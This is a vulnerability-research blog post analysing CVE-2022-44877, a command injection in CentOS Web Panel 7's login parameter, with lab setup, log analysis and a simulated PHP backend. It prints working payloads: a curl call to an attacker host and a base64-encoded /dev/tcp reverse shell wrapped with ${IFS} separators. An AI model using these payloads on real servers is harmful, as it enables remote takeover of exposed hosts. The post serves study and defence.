Unauthenticated RCE in Centos Control Web Panel 7 (CWP) — CVE-2022–44877

vsociety
8 min readJun 23, 2023

--

Introduction

Unauthenticated RCE in Centos Web Panel 7 — CWP 7 has been found and registered as CVE-2022–44877.

Version affected Centos Web Panel 7 - < 0.9.8.1147

This is one of the CVEs of the month and based on Greynoise (Check it here) there are 6 unique IPs attempted to exploit this CVE.

https://cdn-images-1.medium.com/max/800/1*kjYS6n8oVFp007KT0rarvA.png

Based on Shodan search (check it here) CWP is running on 453,848 servers

https://cdn-images-1.medium.com/max/800/1*CGjO4kehKdauxOed8hGxMA.png

Build the lab

Install the system

  • Setup CentOS 7
  • Install wget sudo yum -y install wget
  • Update the system sudo yum -y update
  • Reboot

Install CWP

Follow these commands:

Downgrade CWP to the vulnerable version

Follow these commands:

Login to CWP

https://cdn-images-1.medium.com/max/800/1*ZMsLy8ArzSoKnYwtGxdVfg.png
  • The username and password are the root user and the password of the root.
https://cdn-images-1.medium.com/max/800/1*khtCbAQFBYWWNnw54brvKQ.png

The vulnerability

The vulnerability existed in “login” parameter in the login page

  • Capture the login request
  • Now, let’s make a simple test by trying to curl website
  • Run http simple server python3 -m http.server
  • replace “login=logout” with login=$(curl${IFS}192.168.1.105:8000)

and here is the request:

While I’m reproducing this vulnerability I noticed something with the authentication.

This is supposed to be “unauthenticated RCE”, but I found out that you still need to know the correct username.

Here are some test cases:

  • Send the payload with the incorrect username & incorrect password ❌
  • Send the payload with the incorrect username & correct password ❌
  • Send the payload with the correct username & incorrect password ✅

Before we go to how to get a reverse shell, let’s explain the payload

Let’s take this payload as an example:

$(curl${IFS}192.168.1.105:8000)

  • The IFS variable is being used here in a way that it's being used as a separator between
  • the curl command and the URL, which is "192.168.1.105:8000".
  • The $() operator is used to execute the command inside the parentheses and returns the output. This means that the command is making a request to the specified IP address and port number using, and the output of the request will be returned and can be used in the following commands or assigned to a variable.

The RCE

  • Here is the reverse shell:

sh -i >& /dev/tcp/192.168.1.105/9001 0>&1

  • Encode the reverse shell to Base64

c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwNS85MDAxIDA+JjE=

  • The final format of the payload:

$(echo${IFS}c2ggLWkgPiYgL2Rldi90Y3AvMTkyLjE2OC4xLjEwNS85MDAxIDA+JjE=${IFS}|${IFS}base64${IFS}-d${IFS}|${IFS}bash)

  • Start the listener
  • Send the payload
  • Receive the connection
  • Let’s see where the execution happened

Now we know that the login page under admin it’s the vulnerable one.
Let’s move to the static analysis

Static Analysis

Open the source code we downloaded from here:

http://static.cdn-cwp.com/files/cwp/el7/cwp-el7-0.9.8.1146.zip

Unfortunately, this is all that we got.

The source code is encoded with ionCube, it’s easy to decode it or reverse engineer it, and it’s illegal.

We only have one line script here which checks if the IonCube Loader extension is loaded and if not, it attempts to load it dynamically.

Since we don’t have the source code I wanted to get more insight into what the code would look like.

So I started to run more analysis trying to understand the code in the back-end so I can simulate it:

  • I know that any command execution results getting stored in the logs

The login errors getting recorded in/var/log/cwp_client_login.log

now cat cwp_client_login.log

While I’m doing this I noticed the following:

As we mentioned before, the user should be correct and we are assuming that we don’t know the password.
Since this is failed login, the website will redirect the user to log in again.

in this case, the command will not execute ❌

in case we are using Brupsuite, once we send the request the command gets executed ✅

Since the results of the executed commands getting recorded in the log files, I want to analyze the logs.

2023-01-25 20:44:27 root Failed Login from: 192.168.1.107 on: 'https://localhost:2031/login/index.php?login=root'
  • The “2023–01–25 20:44:27” date and time get changed every time, so this is a variable.
  • The “root” is the user
  • “Failed Login from:” This is a message and it’s the same every time
  • The “192.168.1.107” is the IP of the user who is trying to log in
  • https://localhost:2031/login/index.php?login=root' I’m not sure why it’s “localhost” here, however, what we inject after “login=” it’s getting executed and this changes every time so it’s a variable.
$error = $DATE.$USER."Failed Login form:".$URL

The facts we gathered:

  • There is a check, if the user is not correct the execution doesn’t work.
  • When the login error happens the URL with the parameter getting recorded in cwp_client_login.log
  • The date changes, the user (I’m not sure about it, but it should be a variable as well), the failed login statement, and the user IP.

This brings us to a very interesting conclusion, only IF there is a login error where the user is correct, the URL along with the parameter will be stored in the log file.

we can understand that there is something wrong that happened when the whole URL gets passed and not enough sanitization.

After more reading about this specific CVE, I found that the URL is getting passed to some execution function and that’s how the false attempts are logged

The mentioned technique in the blogs are as follows:

echo "incorrect_enter, IP address, HTTP_request_URI" >> ./wring_entry.log

After I made some tests, I found that unless we passed the payload in this specific way such as:

  • $(command)
  • ` command `

it won’t execute, so that means there is something else. more searching, and asking questions. I was looking for functions in PHP I may use to sanitize a parameter against command injection. because if they are passing anything to execute a command they are supposed to sanitize the passed parameters first.

I found those two:

  • escapeshellarg(): This function is used to escape a string to be used as a command-line argument in a shell command. It adds single quotes around the string and escapes any existing single quotes within the string, ensuring that the string is treated as a single argument and is protected against injection attacks.
  • escapeshellcmd(): This function is used to escape a string that is used as a shell command. It escapes any characters that may be used to inject additional commands into the shell command.

I also found this resource:

https://github.com/kacperszurek/exploits/blob/master/GitList/exploit-bypass-php-escapeshellarg-escapeshellcmd.md#what-escapeshellarg-and-escapeshellcmd-really-do

Simulating the back-end code

This is my final conclusion of how the code could look like in the backend:

<?php
if(isset($_POST['login'])) {
$date_time = date("Y-m-d H:i:s");
$username = $_POST['username'];
$password = $_POST['password'];
$url = $_SERVER['REQUEST_URI'];
$remote_ip = $_SERVER["REMOTE_ADDR"];
if($username != "root"){
echo "You are not authorized to login";
}
else {
if($username == "root") {
$escapedUrl = escapeshellarg($url);
system("echo \"" . $date_time . " " . $username . " Successful Login from: " . $remote_ip . " on: " . $escapedUrl . "\" >> cwp_client_login.log");
echo "Welcome root";
}
else {
echo "Wrong Password or Username!";
}
}
}
?>
<form action="" method="post">
<label for="username">Username:</label>
<input type="text" name="username" required>
<br>
<label for="password">Password:</label>
<input type="password" name="password" required>
<br>
<input type="submit" name="login" value="Login">
</form>

Run the code to test it

php -S ip:port test.php

  • Send the request

Mitigation

Upgrade CWP to the latest version.

Final thoughts

This is a very simple and easy vulnerability to exploit and that is what makes it more dangerous, however, it’s always interesting and fun to dive deep into the source code and understand the root cause of the vulnerability.

In our case since the code is encoded and it’s illegal to decode it, I tried to give more insight into how this vulnerability might be happening in the backend therefore I needed to conduct a lot more analysis and tests, also go through tons of researching and asking questions.

Resources:

#CVE-2022–44877 #CWP #RCE

--

--

vsociety

vsociety is a community centered around vulnerability research